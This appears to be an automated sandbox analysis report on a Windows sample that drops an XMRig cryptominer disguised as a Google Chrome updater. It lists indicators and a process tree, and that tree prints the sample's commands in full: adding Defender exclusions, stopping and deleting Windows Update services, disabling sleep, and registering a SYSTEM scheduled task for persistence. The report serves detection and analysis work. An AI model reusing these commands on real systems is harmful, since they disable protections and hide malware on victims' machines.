Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
11/03/2023, 12:38
Static task
static1
Behavioral task
behavioral1
Sample
7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe
Resource
win7-20230220-en
General
-
Target
7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe
-
Size
3.6MB
-
MD5
e5714adf276ab96cff90d3778ba51b7e
-
SHA1
5627bdf380aafe2b131c70e5c857739101a6fac3
-
SHA256
7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c
-
SHA512
4dfd0f0e21c8a1865d6acaac6d66761a5b5c31a2fa0ca8960ad498a81930ff31579a56ee4e666b59b31f117e5d078305a1dd50d0a75cdc2a04733364425753c2
-
SSDEEP
98304:ee4H3qxuFh/zHgR7vjnOy3cQ0/r0UoEpQg9Kdaud4F:+vbg5Oy6/r0Uhd9Kdpd4F
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
description pid Process procid_target PID 4672 created 1264 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 35 PID 4672 created 1264 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 35 PID 4672 created 1264 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 35 PID 4672 created 1264 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 35 PID 4672 created 1264 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 35 PID 4248 created 1264 4248 updater.exe 35 PID 4248 created 1264 4248 updater.exe 35 PID 4248 created 1264 4248 updater.exe 35 PID 4248 created 1264 4248 updater.exe 35 PID 4248 created 1264 4248 updater.exe 35 PID 4900 created 1264 4900 conhost.exe 35 PID 4248 created 1264 4248 updater.exe 35 -
XMRig Miner payload 11 IoCs
resource yara_rule behavioral2/memory/4288-248-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp xmrig behavioral2/memory/4288-251-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp xmrig behavioral2/memory/4288-253-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp xmrig behavioral2/memory/4288-256-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp xmrig behavioral2/memory/4288-259-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp xmrig behavioral2/memory/4288-261-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp xmrig behavioral2/memory/4288-263-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp xmrig behavioral2/memory/4288-265-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp xmrig behavioral2/memory/4288-267-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp xmrig behavioral2/memory/4288-269-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp xmrig behavioral2/memory/4288-271-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe File created C:\Windows\System32\drivers\etc\hosts updater.exe -
Stops running service(s) 3 TTPs
-
Executes dropped EXE 1 IoCs
pid Process 4248 updater.exe -
resource yara_rule behavioral2/memory/4288-248-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp upx behavioral2/memory/4288-251-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp upx behavioral2/memory/4288-253-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp upx behavioral2/memory/4288-256-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp upx behavioral2/memory/4288-259-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp upx behavioral2/memory/4288-261-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp upx behavioral2/memory/4288-263-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp upx behavioral2/memory/4288-265-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp upx behavioral2/memory/4288-267-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp upx behavioral2/memory/4288-269-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp upx behavioral2/memory/4288-271-0x00007FF6C34E0000-0x00007FF6C3CD4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4248 set thread context of 4900 4248 updater.exe 135 PID 4248 set thread context of 4288 4248 updater.exe 141 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4852 sc.exe 4948 sc.exe 4640 sc.exe 3120 sc.exe 4420 sc.exe 1408 sc.exe 2572 sc.exe 4344 sc.exe 4864 sc.exe 2340 sc.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 36 IoCs
pid Process 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 2412 powershell.exe 2412 powershell.exe 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 3140 powershell.exe 3140 powershell.exe 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 4672 7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe 3368 powershell.exe 3368 powershell.exe 4248 updater.exe 4248 updater.exe 3336 powershell.exe 3336 powershell.exe 4248 updater.exe 4248 updater.exe 4248 updater.exe 4248 updater.exe 4248 updater.exe 4248 updater.exe 2440 powershell.exe 2440 powershell.exe 4248 updater.exe 4248 updater.exe 4248 updater.exe 4248 updater.exe 4900 conhost.exe 4900 conhost.exe 4248 updater.exe 4248 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 656 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2412 powershell.exe Token: SeShutdownPrivilege 4900 powercfg.exe Token: SeCreatePagefilePrivilege 4900 powercfg.exe Token: SeDebugPrivilege 3140 powershell.exe Token: SeShutdownPrivilege 4268 powercfg.exe Token: SeCreatePagefilePrivilege 4268 powercfg.exe Token: SeShutdownPrivilege 2320 powercfg.exe Token: SeCreatePagefilePrivilege 2320 powercfg.exe Token: SeShutdownPrivilege 2424 powercfg.exe Token: SeCreatePagefilePrivilege 2424 powercfg.exe Token: SeIncreaseQuotaPrivilege 3140 powershell.exe Token: SeSecurityPrivilege 3140 powershell.exe Token: SeTakeOwnershipPrivilege 3140 powershell.exe Token: SeLoadDriverPrivilege 3140 powershell.exe Token: SeSystemProfilePrivilege 3140 powershell.exe Token: SeSystemtimePrivilege 3140 powershell.exe Token: SeProfSingleProcessPrivilege 3140 powershell.exe Token: SeIncBasePriorityPrivilege 3140 powershell.exe Token: SeCreatePagefilePrivilege 3140 powershell.exe Token: SeBackupPrivilege 3140 powershell.exe Token: SeRestorePrivilege 3140 powershell.exe Token: SeShutdownPrivilege 3140 powershell.exe Token: SeDebugPrivilege 3140 powershell.exe Token: SeSystemEnvironmentPrivilege 3140 powershell.exe Token: SeRemoteShutdownPrivilege 3140 powershell.exe Token: SeUndockPrivilege 3140 powershell.exe Token: SeManageVolumePrivilege 3140 powershell.exe Token: 33 3140 powershell.exe Token: 34 3140 powershell.exe Token: 35 3140 powershell.exe Token: 36 3140 powershell.exe Token: SeIncreaseQuotaPrivilege 3140 powershell.exe Token: SeSecurityPrivilege 3140 powershell.exe Token: SeTakeOwnershipPrivilege 3140 powershell.exe Token: SeLoadDriverPrivilege 3140 powershell.exe Token: SeSystemProfilePrivilege 3140 powershell.exe Token: SeSystemtimePrivilege 3140 powershell.exe Token: SeProfSingleProcessPrivilege 3140 powershell.exe Token: SeIncBasePriorityPrivilege 3140 powershell.exe Token: SeCreatePagefilePrivilege 3140 powershell.exe Token: SeBackupPrivilege 3140 powershell.exe Token: SeRestorePrivilege 3140 powershell.exe Token: SeShutdownPrivilege 3140 powershell.exe Token: SeDebugPrivilege 3140 powershell.exe Token: SeSystemEnvironmentPrivilege 3140 powershell.exe Token: SeRemoteShutdownPrivilege 3140 powershell.exe Token: SeUndockPrivilege 3140 powershell.exe Token: SeManageVolumePrivilege 3140 powershell.exe Token: 33 3140 powershell.exe Token: 34 3140 powershell.exe Token: 35 3140 powershell.exe Token: 36 3140 powershell.exe Token: SeIncreaseQuotaPrivilege 3140 powershell.exe Token: SeSecurityPrivilege 3140 powershell.exe Token: SeTakeOwnershipPrivilege 3140 powershell.exe Token: SeLoadDriverPrivilege 3140 powershell.exe Token: SeSystemProfilePrivilege 3140 powershell.exe Token: SeSystemtimePrivilege 3140 powershell.exe Token: SeProfSingleProcessPrivilege 3140 powershell.exe Token: SeIncBasePriorityPrivilege 3140 powershell.exe Token: SeCreatePagefilePrivilege 3140 powershell.exe Token: SeBackupPrivilege 3140 powershell.exe Token: SeRestorePrivilege 3140 powershell.exe Token: SeShutdownPrivilege 3140 powershell.exe -
Suspicious use of WriteProcessMemory 62 IoCs
description pid Process procid_target PID 2172 wrote to memory of 2572 2172 cmd.exe 94 PID 2172 wrote to memory of 2572 2172 cmd.exe 94 PID 4484 wrote to memory of 4900 4484 cmd.exe 95 PID 4484 wrote to memory of 4900 4484 cmd.exe 95 PID 2172 wrote to memory of 4344 2172 cmd.exe 96 PID 2172 wrote to memory of 4344 2172 cmd.exe 96 PID 2172 wrote to memory of 4864 2172 cmd.exe 97 PID 2172 wrote to memory of 4864 2172 cmd.exe 97 PID 4484 wrote to memory of 4268 4484 cmd.exe 98 PID 4484 wrote to memory of 4268 4484 cmd.exe 98 PID 2172 wrote to memory of 2340 2172 cmd.exe 99 PID 2172 wrote to memory of 2340 2172 cmd.exe 99 PID 4484 wrote to memory of 2320 4484 cmd.exe 100 PID 4484 wrote to memory of 2320 4484 cmd.exe 100 PID 2172 wrote to memory of 4852 2172 cmd.exe 102 PID 2172 wrote to memory of 4852 2172 cmd.exe 102 PID 4484 wrote to memory of 2424 4484 cmd.exe 101 PID 4484 wrote to memory of 2424 4484 cmd.exe 101 PID 2172 wrote to memory of 1232 2172 cmd.exe 103 PID 2172 wrote to memory of 1232 2172 cmd.exe 103 PID 2172 wrote to memory of 4164 2172 cmd.exe 104 PID 2172 wrote to memory of 4164 2172 cmd.exe 104 PID 2172 wrote to memory of 4764 2172 cmd.exe 105 PID 2172 wrote to memory of 4764 2172 cmd.exe 105 PID 2172 wrote to memory of 4752 2172 cmd.exe 106 PID 2172 wrote to memory of 4752 2172 cmd.exe 106 PID 2172 wrote to memory of 3836 2172 cmd.exe 107 PID 2172 wrote to memory of 3836 2172 cmd.exe 107 PID 3368 wrote to memory of 5052 3368 powershell.exe 110 PID 3368 wrote to memory of 5052 3368 powershell.exe 110 PID 764 wrote to memory of 4640 764 cmd.exe 119 PID 764 wrote to memory of 4640 764 cmd.exe 119 PID 4156 wrote to memory of 1476 4156 cmd.exe 120 PID 4156 wrote to memory of 1476 4156 cmd.exe 120 PID 764 wrote to memory of 3120 764 cmd.exe 121 PID 764 wrote to memory of 3120 764 cmd.exe 121 PID 764 wrote to memory of 4420 764 cmd.exe 122 PID 764 wrote to memory of 4420 764 cmd.exe 122 PID 4156 wrote to memory of 2080 4156 cmd.exe 123 PID 4156 wrote to memory of 2080 4156 cmd.exe 123 PID 764 wrote to memory of 4948 764 cmd.exe 124 PID 764 wrote to memory of 4948 764 cmd.exe 124 PID 764 wrote to memory of 1408 764 cmd.exe 125 PID 764 wrote to memory of 1408 764 cmd.exe 125 PID 764 wrote to memory of 1952 764 cmd.exe 126 PID 764 wrote to memory of 1952 764 cmd.exe 126 PID 4156 wrote to memory of 4976 4156 cmd.exe 127 PID 4156 wrote to memory of 4976 4156 cmd.exe 127 PID 764 wrote to memory of 4788 764 cmd.exe 128 PID 764 wrote to memory of 4788 764 cmd.exe 128 PID 764 wrote to memory of 2724 764 cmd.exe 129 PID 764 wrote to memory of 2724 764 cmd.exe 129 PID 764 wrote to memory of 3292 764 cmd.exe 134 PID 764 wrote to memory of 3292 764 cmd.exe 134 PID 4156 wrote to memory of 3320 4156 cmd.exe 133 PID 4156 wrote to memory of 3320 4156 cmd.exe 133 PID 764 wrote to memory of 1928 764 cmd.exe 132 PID 764 wrote to memory of 1928 764 cmd.exe 132 PID 4248 wrote to memory of 4900 4248 updater.exe 135 PID 1824 wrote to memory of 2284 1824 cmd.exe 140 PID 1824 wrote to memory of 2284 1824 cmd.exe 140 PID 4248 wrote to memory of 4288 4248 updater.exe 141 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1264
-
C:\Users\Admin\AppData\Local\Temp\7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe"C:\Users\Admin\AppData\Local\Temp\7687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4672
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2412
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2572
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4344
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4864
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:2340
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4852
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1232
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4164
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:4764
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:4752
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:3836
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:4484 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4900
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4268
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:2320
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:2424
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#xpzzfzp#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3140
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#tfnducb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3368 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:5052
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3336
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4640
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3120
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4420
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4948
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1408
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1952
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4788
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵PID:2724
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1928
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:3292
-
-
-
